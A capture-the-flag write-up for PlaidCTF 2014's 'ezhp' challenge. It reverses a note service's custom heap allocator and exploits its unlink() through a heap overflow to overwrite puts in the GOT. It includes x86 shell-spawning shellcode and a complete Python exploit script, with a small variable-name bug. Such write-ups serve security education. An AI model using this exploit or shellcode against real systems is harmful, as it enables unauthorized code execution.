plaidCTF 2014 - ezhp (pwn200)

For PlaidCTF2014, Eindbazen and fail0verflow joined forces as 0xffa, the Final Fail Alliance.
Don't miss out on other write-ups at Eindbazen's site!
ezhp
Pwnables (200 pts)
-------------------
Luckily when you travel back in time, you still get to use all your
knowledge from the present. With that knowledge in hand, breaking
into this service (at 54.81.149.239:9174) owned by The Plague
shouldn't be hard at all.

To set the picture, let’s identify the binary

izsh@box:~$ file ezhp
ezhp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 2.6.24,
BuildID[sha1]=0x5fa5bd76db306497b549ea3b0466cd9e9afa2705, stripped    

izsh@box:~$ readelf -l ezhp | grep STACK
    GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

Devs don’t like crashes but we do…

Since this is someone else’s box, let’s run it, ‘cause why not? ;-)

izsh@box:~$ ./ezhp
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
8
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
3
Please give me an id.
0
Please give me a size.
4
Please input your data.
AAAAAAAA
Please choose an option.
Please give me an id.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me an id.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
[infinite loop]

Well, WTF, that didn’t take long…

The binary asking for a size when we choose the menu change a note doesn’t smell very good (or does it?). If we play a little bit further we can easily get a crash:

izsh@box:~$ gdb -q ./ezhp
Reading symbols from /home/izsh/ezhp...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/izsh/ezhp
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
0
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
0
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
3
Please give me an id.
0
Please give me a size.
42
Please input your data.
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
2
Please give me an id.
1

Program received signal SIGSEGV, Segmentation fault.
0x0804873b in ?? ()
(gdb) x/i $eip
=> 0x804873b:   mov    %edx,0x4(%eax)
(gdb) p/x $eax
$1 = 0x41414141
(gdb)

Yep, a buffer overflow…

Reversing the main functions

It’s time for some reversing work in IDA. The add a note function is quite straight forward (and it helps to identify a custom malloc implementation)

int __cdecl add_note()
{
  int result; // eax@2
  intptr_t delta; // [sp+18h] [bp-10h]@3

  if ( note_cnt <= 1022 )
  {
    puts("Please give me a size.");
    fflush(stdout);
    __isoc99_scanf("%d%*c", &delta);
    (&buf)[note_cnt] = (char **)mymalloc(delta);
    result = note_cnt++ + 1;
  }
  else
  {
    puts("The emperor says there are too many notes!");
    result = fflush(stdout);
  }
  return result;
}

change a note is also straight forward and shows a heap overflow with a call to read without any kind of bound checking.

ssize_t __cdecl change_note()
{
  ssize_t result; // eax@1
  int n; // [sp+18h] [bp-10h]@1
  size_t nbytes; // [sp+1Ch] [bp-Ch]@4

  puts("Please give me an id.");
  fflush(stdout);
  __isoc99_scanf("%d%*c", &n);
  result = note_cnt;
  if ( n <= note_cnt )
  {
    result = n;
    if ( n >= 0 )
    {
      result = (ssize_t)(&buf)[n];
      if ( result )
      {
        puts("Please give me a size.");
        fflush(stdout);
        __isoc99_scanf("%d%*c", &nbytes);
        puts("Please input your data.");
        fflush(stdout);
        result = read(0, (&buf)[n], nbytes);
      }
    }
  }
  return result;
}

remove a note is boring, and that leaves us with reversing the custom implementations of malloc and free which are simple and use the following header in front of all the allocated buffers:

00000000 malloc_header   struc ; (sizeof=0xC)
00000000 size            dd ?
00000004 next            dd ?
00000008 prev            dd ?
0000000C malloc_header   ends

The free implementation could remind in some ways of the good old classic unlink() heap exploitation, as you can see:

malloc_header *__cdecl myfree(malloc_header *ptr)
{
  malloc_header *result; // eax@8
  malloc_header *malloc_header; // [sp+4h] [bp-Ch]@2
  malloc_header *prev; // [sp+8h] [bp-8h]@2
  malloc_header *next; // [sp+Ch] [bp-4h]@2

  if ( ptr )
  {
    malloc_header = ptr - 1;
    prev = ptr[-1].prev;
    next = ptr[-1].next;
    // unlink()
    if ( prev )
      prev->next = next; // <==== we are crashing here at the moment
    if ( next )
      next->prev = prev;
    // put it back in the free list
    malloc_header->next = sbrk_ptr->next;
    if ( sbrk_ptr->next )
      sbrk_ptr->next->prev = malloc_header;
    sbrk_ptr->next = malloc_header;
    result = ptr - 1;
    malloc_header->size &= 0xFFFFFFFEu;
  }
  return result;
}

Pwning

The unlink() code is pretty much a write-anything-anywhere primitive, that is, it writes prev at next+8, but it also writes next at prev+4.

For this exploit, the puts() address from .got.plt (0x804a008) was chosen to be overwritten with a pointer to our shellcode, hence triggering it right away when the binary tries to print the menu, returning from the remove a note command.

To understand what’s going on, let’s visualize the memory map after allocating 3 notes of size 128:

            size        next        prev
0x804c00c:  0x00000091  0x0804c09c  0x0804c000  0x00000000
0x804c01c:  0x00000000  0x00000000  0x00000000  0x00000000
*

0x804c09c:  0x00000091  0x0804c12c  0x0804c00c  0x00000000
0x804c0ac:  0x00000000  0x00000000  0x00000000  0x00000000
*

0x804c12c:  0x00000091  0x0804c1bc  0x0804c09c  0x00000000
0x804c13c:  0x00000000  0x00000000  0x00000000  0x00000000
*

Overflowing note 1 (2nd note) to overwrite the next pointer of note 2 with the value 0x804a000 (remember it will write to next->prev which is next+8) yields to:

            size        next        prev
0x804c00c:  0x00000091  0x0804c09c  0x0804c000  0x00000000
0x804c01c:  0x00000000  0x00000000  0x00000000  0x00000000
*

0x804c09c:  0x00000091  0x0804c12c  0x0804c00c  0x41414141
0x804c0ac:  0x41414141  0x41414141  0x41414141  0x41414141
*

0x804c12c:  0x41414141  0x0804a000  0x0804c09c  0x00000000
0x804c13c:  0x00000000  0x00000000  0x00000000  0x00000000
*

NB: the size value from the header is useless, and can be safely overwritten

Thus, Calling unlink() writes 0x0804c09c (prev) to 0x0804a008 (puts). And what’s 0x0804c09c? Well, that’s the note 1’s header! It only remains to put a shellcode in there while overflowing note 0’s data.

There is just one caveat: unlink() also writes prev->next = next;:

            size        next        prev
0x804c00c:  0x00000091  0x0804c09c  0x0804c000  0x41414141
0x804c01c:  0x41414141  0x41414141  0x41414141  0x41414141
*

0x804c09c:  SHELLCODE   0x0804a000  SHELLCODE   SHELLCODE
0x804c0ac:  SHELLCODE   SHELLCODE   SHELLCODE   SHELLCODE
*

0x804c12c:  0x41414141  0x0804a000  0x0804c09c  0x00000000
0x804c13c:  0x00000000  0x00000000  0x00000000  0x00000000
*

which puts some garbage at 0x804c09c+4. That’s not really an issue, insofar as we can just hack a jmp at the beginning of our shellcode to jump over that garbage.

NB: as seen in another write-up, we could also have targeted the exit() function instead of puts() enabling us to put the shellcode in place after unlinking our note 2, and hence overwritting the garbage value safely.

The only thing left is to choose a shellcode, but that’s the easy part using blasty’ moneyshot tool:

% ./moneyshot.py build x86/linux/fdreuse   outformat=python
shellcode =  "\x54\x59\x6a\x7f\x54\x51\x6a\x7f\x54\x59\x6a\x07\x5b\xff\x09\x6a"
shellcode += "\x66\x58\xcd\x80\x85\xc0\x75\xf5\x5b\x6a\x02\x59\x6a\x3f\x58\xcd"
shellcode += "\x80\x49\x79\xf8\x41\x31\xd2\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
shellcode += "\x62\x69\x89\xe3\x6a\x0b\x58\xcd\x80";

And finally, here is the exploit

#!/usr/bin/env python

import socket
import os
import time
import sys

WTIME = 0.1

shellcode="\xeb\x06\x90\x90\x90\x90\x90\x90" + "\x54\x59\x6a\x7f\x54\x51\x6a\x7f\x54\x59\x6a\x07\x5b\xff\x09\x6a\x66\x58\xcd\x80\x85\xc0\x75\xf5\x5b\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x41\x31\xd2\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x6a\x0b\x58\xcd\x80";

ALLOCLEN = 128
PAD = 33

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('54.81.149.239', 9174))

time.sleep(WTIME)

s.send("1\n" + str(ALLOCLEN) + "\n")
time.sleep(WTIME)
s.send("1\n" + str(ALLOCLEN) + "\n")
time.sleep(WTIME)
s.send("1\n" + str(ALLOCLEN) + "\n")
time.sleep(WTIME)

s.send("3\n")
time.sleep(WTIME)
s.send("1\n")
time.sleep(WTIME)
s.send(str(4*PAD + 4 + 4 ) + "\n")
time.sleep(WTIME)
# puts .got.plt: 0x804a008 - 8 = 0x804a000 => 00 a0 04 08
s.send("BBBB"*PAD + "SSSS" + "\x00\xa0\x04\x08" + "\n")
time.sleep(WTIME)

s.send("3\n")
time.sleep(WTIME)
s.send("0\n")
time.sleep(WTIME)
s.send(str(4*PAD + len(shellcode)) + "\n")
time.sleep(WTIME)
s.send("AAAA"*PAD + shellcode + "\n")
time.sleep(WTIME)

print s.recv(1024)

# trigger
s.send("2\n2\n")

print s.recv(1024)

# \o/
time.sleep(WTIME)
s.send("cat /home/ezhp/key\n")
print s.recv(1024)

Yielding to the following flag shitty_heap_allocators_are_shitty